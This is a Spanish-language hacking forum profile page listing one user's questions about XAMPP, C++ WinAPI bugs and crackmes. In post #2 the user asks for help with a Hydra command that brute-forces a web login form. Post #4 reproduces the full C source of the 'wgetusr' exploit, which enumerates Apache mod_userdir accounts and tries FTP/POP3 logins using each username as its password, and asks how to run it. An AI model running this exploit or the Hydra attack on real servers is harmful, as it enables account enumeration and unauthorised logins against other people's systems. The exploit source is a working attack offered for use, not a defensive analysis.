Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Nobody12

#1
Buenas. Estoy empezando con esto de la programación Web y el otro día decidí crearme un servidor donde practicar con Xampp.
El caso es que me han surgido algunos problemas y dudas:

Va perfectamente excepto que de vez en cuando se cae el servidor. He supuesto que era algún conflicto con el puerto 80 y lo cambié al 1234, abriéndolo en el router y dirigiéndolo a mi IP privada. Funciona (aunque todavía no he comprobado que no se caiga) pero algunas imágenes no se muestran.
Y también me gustaría evitar de alguna forma el no tener que hacer explícito el puerto cuando se accede al servidor por medio del navegador. En vez de localhost:1234 que con poner localhost ya funcionase.

Sobre todo me interesa que me ayudéis con el tema de que se caiga el servidor. Gracias.
#2
Hacking / Problemas con Hydra
24 Octubre 2011, 13:45 PM
Hola.
Resulta que el hydra no me funciona cuando trato de obtener el user y la pass de páginas web en las que estoy registrado.
Sí me ha funcionado con mi router.

Éste es el comando que utilizo:

hydra "web" -L /home/user/logins.lst -P /home/user/passwords.lst -v -t 1 -e ns -f -V http-post-form "/login.phtml:user=^USER^&pass=^PASS^:Invalid user or password"

Los diccionarios están bien, y lo de "user" y "pass" es lo que pone en el código fuente de la página.

Cuando comprueba el user y el pass válidos pasa de ellos como si fueran falsos y sigue comprobando los demás que hay en el diccionario.

Y una pregunta: ¿Hace falta indicar la String que aparece cuando ingresas mal los datos?

Un saludo.
#3
Java / Loguear en Web y obtener datos
23 Octubre 2011, 12:19 PM
Hola, mi duda es si se puede hacer un programa en Java que te loguee en una web en la que estás registrado sin que haga falta escribir la URL en el navegador y conseguir información de su base de datos.

Por ejemplo y en mi caso:

Hacerlo con una página de fútbol en el que eres el manager y poder obtener el dinero que tienes, tus jugadores, etc.

Probé haciéndolo con el código fuente de la página de cada jugador, pero es muy costoso y me gustaría probar antes esta alternativa.

Un saludo.
#4
Bugs y Exploits / mod_userdir Apache
3 Octubre 2011, 00:20 AM
Hola, antes que nada decir que acabo de empezar en ésto, así que es normal que mis preguntas sean un poco newbies.

He compilado un exploit en C perfectamente, el problema viene al ejecutarlo.
Para ello tengo que poner ésto:

Use: exploit.exe [options] -h <host> -u <usrfile>
           -h     Host
           -u     Users file
           Options
           -f     Try log on via FTP
           -p     Try log on via POP3

Lo que pasa es que no sé ni si usar vía FTP o POP3 ni qué poner en "<usrfile>" porque no tengo ni idea de dónde se guardan los usuarios y contraseñas en Apache.

Para probarlo lo ejecuto en localhost, ya que tengo una servidor local (aunque no tiene el bug):
exploit.exe -f -h localhost -u user_password

Y me da error evidentemente  :) :

  • veryfing list: Failed

    Me gustaría que me dijerais cómo usar correctamente el exploit y si se puede en localhost.
    Un saludo.

    Éste es el Exploit en cuestión:

    /*-------------------------------------------------------------------
    *
    * Exploit: wgetusr.c Windows Version
    * Author: HighT1mes (John Bissell)
    * Date Released: July 21, 2004
    *
    * --- Code ported to Windows with some added code,
    *     based on getusr.c exploit by CoKi ---
    *
    * Description from CoKi:
    * ======================
    *
    * This tool tries to find users in a Apache 1.3.*
    * server through wrong default configuration of
    * module mod_userdir.
    *
    * My Believe:
    * ===========
    *
    * I believe in the current state of the web right
    * now this information leak bug can be pretty nasty.
    * Once you have a couple login names on a system
    * there are many services the attacker can target
    * to attack and work his way into the target system
    * to get local access.
    *
    * Program Usage:
    * ==============
    *
    * Use: wgetusr [options] -h <host> -u <usrfile>
    *          -h     Host
    *          -u     Users file
    *         Options
    *          -f     Try log on via FTP
    *          -p     Try log on via POP3
    *
    * VC++ 6.0 Compilation Information:
    * =================================
    *
    * First go on the net and get the getopt libs and header
    * file for VC++ 6.0 Here's a link...
    *
    * http://prantl.host.sk/getopt/files/getopt-msvs6.zip
    *
    * Now extract the libs into your standerd VC++ Lib directory,
    * and extract the getopt.h header file of course into the
    * Include directory.
    *
    * Now to compile make a new console app project,
    * then put this source file in the project.
    * Next goto Project->Settings. Then click on
    * the link tab then goto the input catagory.
    * Now add getopt.lib to the end of objects/librarys
    * modules text box. Then in the Ignore Librarys
    * text box type LIBCD.lib to ignore that lib and allow
    * compilation to complete because of getopt lib.
    *
    * Also you where you added getopt.lib to the
    * objects/librarys modules text box put ws2_32.lib
    * in that text box as well.
    *
    * Your all set compile, hack, distrobute, have fun! :)
    *
    *-------------------------------------------------------------------*/

    #include <getopt.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <errno.h>
    #include <string.h>
    #include <windows.h>
    #include <winsock2.h>

    #define DATAMAX 50
    #define BUFFER 1000
    #define TCPIP_ERROR -1
    #define TIMEOUT 3
    #define HTTP_PORT 80
    #define FTP_PORT 21
    #define POP3_PORT 110

    void use(char *program);
    int connect_timeout(int sfd, struct sockaddr *serv_addr, int timeout);
    void vrfy_apache(char *host);
    void vrfy_vuln(char *host);
    int test_user(char *host, char *user);
    int trylogonFTP(char *host, char *user, char *pass);
    int mkconn(char *host, unsigned short port);
    int trylogonPOP3(char *host, char *user, char *pass);

    struct hostent *he;
    char **fuser;
    int sockfd;
    struct sockaddr_in dest_dir;

    int main(int argc, char *argv[]) {

     FILE *userlist;
     char c, *host=NULL, *ulist=NULL;
     char user[DATAMAX];
     int ucant=0, flogged=0, plogged=0, optftp=0, optpop=0, stop=0;
     unsigned int cant=0, i, user_num;
     WSADATA wsaData;
     int result=0;

     printf(" =================================\n");
     printf("   wgetusr exploit by HighT1mes\n");
     printf("  Based on getusr.c code by CoKi\n");
     printf(" =================================\n\n");
     Sleep(1000);

     if(argc < 2) use(argv[0]);

     result = WSAStartup( MAKEWORD( 2,2 ), &wsaData );
           if ( result != NO_ERROR ) {
                   printf( "Error at WSAStartup()\n" );
                   return( EXIT_FAILURE );
           }

     while((c = getopt(argc, argv, "h:u:fp")) != EOF) {
       switch(c) {
         case 'h':
                  host = optarg;
                  break;
         case 'u':
                  ulist = optarg;
                  break;
         case 'f':
                  optftp = 1;
                  break;
         case 'p':
                  optpop = 1;
                  break;
         default :
                  use(argv[0]);
                  break;
       }
     }

     if(host == NULL) use(argv[0]);
     if(ulist == NULL) use(argv[0]);

     printf(" [+] verifying list:\t");

     if((userlist = fopen(ulist, "r")) == NULL) {
       printf("Failed\n\n");
       exit(1);
     }

     while(!feof(userlist)) if('\n' == fgetc(userlist)) ucant++;
     rewind(userlist);

     printf("OK (%d users)\n", ucant);
     Sleep(1000);
     fuser = (char **)malloc(sizeof(ucant));

     printf(" [+] verifying host:\t");

     if((he=gethostbyname(host)) == NULL) {
       perror("Error: ");
           Sleep(1000);
       printf("\n");
       exit(1);
     }

     printf("OK\n");
     Sleep(1000);

     printf(" [+] connecting:\t");

     if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) {
       printf("Closed\n\n");
           Sleep(1000);
       exit(1);
     }

     printf("OK\n");
     Sleep(1000);
     closesocket(sockfd);

     vrfy_apache(host);
     Sleep(1000);

     vrfy_vuln(host);
     Sleep(1000);

     user_num = 1;
     while(!feof(userlist)) {
       if(fgets(user, sizeof(user), userlist) == NULL) break;
       user[strlen(user)-1] = '\0';

       if(test_user(host, user) == 0) {
         fuser[cant] = (char *)malloc(sizeof(user));
         memcpy(fuser[cant],user,strlen(user));
         memset(fuser[cant]+strlen(user),0,1);
         cant++;
       }

           system("CLS");
           printf(" wgetusr exploit by HighT1mes\n\n");
           printf(" [+] searching for system accounts, please wait...\n");
           printf(" [+] processing user #%d\n", user_num);
           user_num++;
     }

     if(cant == 0) {
       printf("     no users found\n\n");
       exit(1);
     }
     else {
           /* print out valid usernames found */
           printf(" [+] scan results for %s:\n\n", host);
           for (i = 0; i < cant; i++) {
                   printf("     found username: %s\n", fuser[i]);
           }
     }

     printf("\n");

     if(optftp == 1) {
       stop = 0;
       printf(" [+] trying log on via FTP...\n");
       printf(" [+] connecting:\t");


       if(mkconn(host, FTP_PORT) == TCPIP_ERROR) {
         printf("Closed\n");
         stop = 1;
       }

       if(!stop) {
         printf("OK\n");
         closesocket(sockfd);
         for(i=0; i < cant; i++) {
           if(trylogonFTP(host, fuser[i], fuser[i]) == 0) {
             printf("     logged in: %s\n", fuser[i]);
             flogged++;
           }
         }
         if(flogged == 0) printf("     no users logged in\n");
       }
     }

     if(optpop == 1) {
       stop = 0;
       printf(" [+] trying log on via POP3...\n");
       printf(" [+] connecting:\t");
       (stdout);

       if(mkconn(host, POP3_PORT) == TCPIP_ERROR) {
         printf("Closed\n");
         stop = 1;
       }

       if(!stop) {
         printf("OK\n");
         closesocket(sockfd);
         for(i=0; i < cant; i++) {
           if(trylogonPOP3(host, fuser[i], fuser[i]) == 0) {
             printf("     logged in: %s\n", fuser[i]);
             plogged++;
           }
         }
         if(plogged == 0)  printf("     no users logged in\n");
       }
     }

     printf("\n");
     fclose(userlist);
     WSACleanup();
     return 0;
    }

    void use(char *program) {
     printf("Use: %s [options] -h <host> -u <usrfile>\n", program);
     printf("         -h\tHost\n");
     printf("         -u\tUsers file\n");
     printf("        Options\n");
     printf("         -f\tTry log on via FTP\n");
     printf("         -p\tTry log on via POP3\n");
     exit(1);
    }

    int connect_timeout(int sfd, struct sockaddr *serv_addr, int timeout)
    {
     int res, slen, flags;
     struct timeval tv;
     struct sockaddr_in addr;
     fd_set rdf, wrf;
     int iMode = 0;

     ioctlsocket(sfd, FIONBIO, &iMode);

     res = connect(sfd, serv_addr, sizeof(struct sockaddr));

     if (res >= 0) return res;

     FD_ZERO(&rdf);
     FD_ZERO(&wrf);

     FD_SET(sfd, &rdf);
     FD_SET(sfd, &wrf);
     memset(&tv, 0, sizeof(tv));
     tv.tv_sec = timeout;

     if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
       return -1;

     if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
       slen = sizeof(addr);
       if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
       return -1;

       flags = ioctlsocket(sfd, FIONBIO, NULL);
           iMode = flags & ~iMode;
       ioctlsocket(sfd, FIONBIO, &iMode);

       return 0;
     }

     return -1;
    }

    void vrfy_apache(char *host) {
     char buf[BUFFER], sendstr[DATAMAX];

     printf(" [+] verifying Apache:\t");

     if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) printf("Closed\n");

     sprintf(sendstr, "HEAD / HTTP/1.0\n\n");
     send(sockfd, sendstr, sizeof(sendstr), 0);
     memset(buf, 0, sizeof(buf));
     recv(sockfd, buf, sizeof(buf), 0);

     if(strstr(buf, "Server: Apache")) printf("OK\n");
     else {
       printf("NO\n\n");
       exit(1);
     }

     closesocket(sockfd);
    }

    void vrfy_vuln(char *host) {
     char buf[BUFFER], sendstr[DATAMAX];

     printf(" [+] vulnerable:\t");

     if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) printf("Closed\n");

     memset(sendstr, 0, sizeof(sendstr));
     sprintf(sendstr, "GET /~root\n");
     send(sockfd, sendstr, sizeof(sendstr), 0);

     recv(sockfd, buf, sizeof(buf), 0);

     if(strstr(buf, "403")) printf("OK\n");
     else {
       printf("NO\n\n");
       exit(1);
     }

     closesocket(sockfd);
    }

    int test_user(char *host, char *user) {
     char buf[BUFFER], sendstr[DATAMAX];

     if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) printf("     Closed\n");

     memset(sendstr, 0, sizeof(sendstr));
     sprintf(sendstr, "GET /~%s\n", user);
     send(sockfd, sendstr, sizeof(sendstr), 0);

     recv(sockfd, buf, sizeof(buf), 0);

     if(strstr(buf, "403")) return 0;
     else return 1;

     closesocket(sockfd);
    }

    int trylogonFTP(char *host, char *user, char *pass) {
     char buf[BUFFER], *senduser, *sendpass;

     senduser = malloc(sizeof(user+6));
     sendpass = malloc(sizeof(pass+6));

     sprintf(senduser,"USER %s\n",user);
     sprintf(sendpass,"PASS %s\n",pass);

     if(mkconn(host, FTP_PORT) == TCPIP_ERROR) printf("     Closed\n");

     memset(buf,0,sizeof(buf));
     recv(sockfd,buf,sizeof(buf),0);
     send(sockfd,senduser,strlen(senduser), 0);
     memset(buf,0,sizeof(buf));
     recv(sockfd,buf,sizeof(buf),0);
     send(sockfd,sendpass,strlen(sendpass), 0);
     memset(buf,0,sizeof(buf));
     recv(sockfd,buf,sizeof(buf),0);

     if(strstr(buf, "230")) return 0;
     else return 1;

     closesocket(sockfd);
    }

    int mkconn(char *host, unsigned short port) {

     if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == TCPIP_ERROR) {
       perror("Error");
       printf("\n");
       exit(1);
     }

     dest_dir.sin_family = AF_INET;
     dest_dir.sin_port = htons(port);
     dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
     memset(&(dest_dir.sin_zero), 0, 8);

     if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir, TIMEOUT) == TCPIP_ERROR) {
       return TCPIP_ERROR;
     }

     return 0;
    }

    int trylogonPOP3(char *host, char *user, char *pass) {
     char buf[BUFFER], *senduser, *sendpass;

     senduser = malloc(sizeof(user+6));
     sendpass = malloc(sizeof(pass+6));

     sprintf(senduser,"USER %s\n",user);
     sprintf(sendpass,"PASS %s\n",pass);

     if(mkconn(host, POP3_PORT) == TCPIP_ERROR) printf("     Closed\n");

     memset(buf,0,sizeof(buf));
     recv(sockfd,buf,sizeof(buf),0);
     send(sockfd,senduser,strlen(senduser), 0);
     memset(buf,0,sizeof(buf));
     recv(sockfd,buf,sizeof(buf),0);
     send(sockfd,sendpass,strlen(sendpass), 0);
     memset(buf,0,sizeof(buf));
     recv(sockfd,buf,sizeof(buf),0);

     if(strstr(buf, "+OK")) return 0;
     else return 1;

     closesocket(sockfd);
    }

    /* EOF */



#5
Programación C/C++ / Run-Time error
14 Marzo 2011, 23:44 PM
Hola.
Cada vez que intento ejecutar este código me sale error:

Código (cpp) [Seleccionar]
int dia, mes, dig, res;
    int ano, ano2, ano3, ano4;

    dia=GetDlgItemInt(hDlg, IDC_EDIT1, NULL, FALSE);
    mes=GetDlgItemInt(hDlg, IDC_EDIT3, NULL, FALSE);
    ano=GetDlgItemInt(hDlg, IDC_EDIT2, NULL, FALSE);

    ano2=((ano)%(100));
    ano3=((ano2)/(4));
    ano4=((ano2)%(4));

    switch(mes)
    {
               case 1:
                    dig=0;
                    break;
               case 2:
                    dig=3;
                    break;
               case 3:
                    dig=3;
                    break;
               case 4:
                    dig=6;
                    break;
               case 5:
                    dig=1;
                    break;
               case 6:
                    dig=4;
                    break;
               case 7:
                    dig=6;
                    break;
               case 8:
                    dig=2;
                    break;
               case 9:
                    dig=5;
                    break;
               case 10:
                    dig=0;
                    break;
               case 11:
                    dig=3;
                    break;
               case 12:
                    dig=5;
                    break;
    }

    res=((dia+dig+ano2+ano3)%7);


En concreto el error es:

"Run-Time Check Failure #3 - The variable 'dig' is being used without being initialized."

El código me compila bien, pero mientras está en ejecución no para de salirme continuamente ese error.

A ver si me podéis ayudar  ;)
#6
Programación C/C++ / Día de la Semana
18 Febrero 2011, 21:19 PM
Hola.
Acabo de crear un programa que te dice el día de la semana de una fecha determinada, y lo pongo por si a alguien le resulta de utilidad.  ;)




Lh: No se permite el publicar enlaces a programas compilados. Postea el código fuente.

Leer reglas
#7
Desafíos - Wargames / Test sorprendente!
7 Febrero 2011, 23:19 PM
Hola, navegando por la web he encontrado un test que me ha parecido interesante  :xD
Es esta página:

http://eduardoochoa.com/joomla/content/view/136/111/


Cuando lo he acabado me he quedado realmente impresionado, seguro que a más de uno os pasará lo mismo que a mí jaja (cuando lo hagáis sabréis de lo que hablo).

Bueno, a ver qué os parece  :D
#8
Programación C/C++ / Problemas con WinApi
10 Enero 2011, 21:47 PM
Hola.

Primero de todo aclarar que acabo de empezar con WINAPI y por eso puede ser que mis dos errores sean realmente una tontería.
Hasta ahora sólo me he leído algunas páginas del curso de WinApi de conclase.net.
De C++ sé bastante más, me he leído libros, tutoriales, he creado muchos programas de consola, aunque realmente sé poco y cometo siempre errores parecidos.

Volviendo al tema.
Estoy haciendo un programa que a la vez es un Crackme, ya que has de registrarte para poder desinhibir un POPUP que incialmente está en MF_GRAYED.
Como he dicho antes tengo dos problemas:

1. Cuando se pulsa la función Registrar, se crea un diálogo en el que aparecen 3 Controles Edit (ID, Nombre, Serial).
El ID es un número y para obtener el valor uso la función GetDlgItemInt, y me funciona correctamente.
El problema viene con el nombre y el serial que son caracteres (tanto letras como números), y para ellos utilizo GetDlgItemText.
No sé qué estoy haciendo mal, pero la función no me devuelve ninguna cadena.
Lo que hago es ésto:


Código (cpp) [Seleccionar]
LRESULT CALLBACK WindowProcedure(HWND hwnd, UINT msg, WPARAM wParam,
LPARAM lParam)
...
case WM_COMMAND:
if(LOWORD(wParam) == CM_REGISTRO)
{
DialogBoxParam(hInstance, "Registro", hwnd, DlgProc, (LPARAM)&Datos);
}
...

BOOL CALLBACK DlgProc(HWND hDlg, UINT msg, WPARAM wParam, LPARAM lParam)
...
int numero1;
char nombre[26];
...
case WM_COMMAND:
if(LOWORD(wParam) == IDOK)
{
numero1 = GetDlgItemInt(hDlg, ID_IDENT, &NumeroOk3, FALSE);
GetDlgItemText(hDlg, ID_NOMBRE, nombre, 26);
...
}
...



Simplemente es como si no estuviera la api.
Para comprobar si me retorna valor he probado ésto:

Código (cpp) [Seleccionar]
if(nombre=="HOLA")
{
   MessageBox(hDlg, "Hola", "", MB_ICONEXCLAMATION | MB_OK);
          EndDialog(hDlg, FALSE);
}

Y cuando escribo HOLA en el Edit Nombre no me sale el cartel.
He pensado que puede ser que no he declarado correctamente la cadena nombre o la comparación se está haciendo mal, pero lo he intentado de otras formas y me salen otros errores.

2. Para volver a habilitar el POPUP Nuevo utilizo EnableMenuItem, pero Nuevo es un POPUP y no un MENUITEM, y no tiene el parámetro uEnable (o al menos eso creo xD).
Estoy pensando en deshabilitar directamente todos los Ítems que resultan de pulsar Nuevo.
Sin embargo sigo teniendo otro problema de una forma u otra, y es que utilizando el EnableMenuItem se necesita el handle del menú, y cuando llamo a la api estoy en el DlgProc y no en la función en la que se crean los menús que es donde se encuentra el handle:

Código (cpp) [Seleccionar]
void InsertarMenu(HWND hwnd)
{
HMENU hMenu1, hMenu2, hMenu3, hMenu4;
    hMenu1 = CreateMenu(); /* Manipulador de la barra de menú */
    hMenu2 = CreateMenu();
    hMenu3 = CreateMenu();
    hMenu4 = CreateMenu();
    /* Primer POP-UP */
    AppendMenu(hMenu2, MF_STRING | MF_POPUP | MF_GRAYED, (UINT)hMenu4, "&Nuevo");
...
AppendMenu(hMenu1, MF_STRING | MF_POPUP, (UINT)hMenu2, "&Archivo");
SetMenu (hwnd, hMenu1);
}


Gracias y espero que si leéis el mensaje y podéis aportar algo lo hagáis y no se quede el tema sin respuestas como ya me ha pasado varias veces...   :-(

PD: He subido lo que llevo de programa a 4shared.com.

http://www.4shared.com/file/fRXIfbsk/Programa.html
#9
Programación C/C++ / Almacenar números en cadena
19 Diciembre 2010, 15:04 PM
Hola.
Estoy intentando hacer un crackme simple, en el que cada letra del nombre haga un xor con un número, resultando el serial verdadero.
El problema es que no puedo guardar el resultado del xor en una cadena de números.
Os pongo lo que sería un ejemplo de la operación xor.

Código (cpp) [Seleccionar]
int main()
{
    char p[7]="Fran";
    int longi=strlen(p);
    int s=3;
    int r[longi-1];
    for(int c=0;c<longi;c++)
    {
    r[c]=p[c]^s;
    cout << p[c] << " XOR " << s << " = " << r[c];
    cout << endl;
    }
    cout << "Serial = ";
    for(int d=0;d<longi;d++)
    {
    cout << r[d];
    }
    cout << endl;
    cin.get();
    return 0;
}



Lo que quiero es almacenar el número entero que aparece después de "Serial = " (que sería el correcto), para después compararlo con el serial falso.
Gracias por adelantado.  :)
#10
Ingeniería Inversa / Ayuda con CrackMe
19 Diciembre 2010, 14:41 PM
Hola.
Estoy intentando hacer un crackme simple, en el que cada letra del nombre haga un xor con un número, resultando el serial verdadero.
El problema es que no puedo guardar el resultado del xor en una cadena de números.
Os pongo lo que sería un ejemplo de la operación xor.

Código (cpp) [Seleccionar]
int main()
{
   char p[7]="Fran";
   int longi=strlen(p);
   int s=3;
   int r[longi-1];
   for(int c=0;c<longi;c++)
   {
   r[c]=p[c]^s;
   cout << p[c] << " XOR " << s << " = " << r[c];
   cout << endl;
   }
   cout << "Serial = ";
   for(int d=0;d<longi;d++)
   {
   cout << r[d];
   }
   cout << endl;
   cin.get();
   return 0;
}



Lo que quiero es almacenar el número entero que aparece después de "Serial = " (que sería el correcto), para después compararlo con el serial falso.
Gracias por adelantado.  :)

PD: Muevo el tema al foro de C++.
#11
Ingeniería Inversa / Crackme hardcode
17 Diciembre 2010, 19:37 PM
Hola a todos.

Resulta que acabo de hacer un hardcode en teoría facilito, pero no soy capaz de crackearlo (aunque realmente se cuál es el serial).  :P
He encontrado el salto que va o al mensaje correcto o al incorrecto, pero lo que quiero ver son las operaciones y comparaciones que se hacen para poder hallar el serial, y me pierdo un poco intentándolo, más que nada porque me da la impresión que da muchas vueltas.  :-\

Está hecho en C++ y no entiendo como puede resultarme tan complicado porque el código realmente es muy corto.  :rolleyes:

A ver si me podéis ayudar un poco  :)

http://rapidshare.com/files/437868784/HardCode_C__.exe

Un saludo.
#12
Ingeniería Inversa / Novato :(
31 Octubre 2009, 13:46 PM
Hola, muy buenas a todos.
Resulta que me encanta todo lo relacionado con el cracking y la programación, pero me gustaría aprender como crackear.
Ahora voy a empezar a leerme el fantástico tutorial de Ricardo Navaja "Introducción al Cracking con OLLYDBG desde cero". (Tengo para un tiempo bastante largo... xD)
¿Está bien para empezar o ya está un poco desactualizado?
También quizá me compre un libro de lenguaje ensamblador, pero es del 2003 y mi duda es la misma que con el tuto.
Sé lo básico de C++ y he hecho alguna cosilla con el OLLYDBG prácticamente nada.
Muchas gracias  ;)
#13
Diseño Gráfico / ¿Quién es?
12 Mayo 2009, 19:32 PM
Ola! Mirad necesito saber quien es el k aparece en esta foto distorsionada, d pistas solo se k es un deportista veterano k ya esta retirado y vive actualmente en USA.  :huh:
Aki esta el link:
http://img410.imageshack.us/img410/4326/fg115.jpg

Sabeis si hay alguna forma de kitar la distorsion?
He probado con el photoshop extended cs4 pero no puedo kitarla, solo distorsionar mas...  :-(
GRACIAS!  :D

PD: no tenia muy claro donde poner este tema, lo siento si me he ekivocado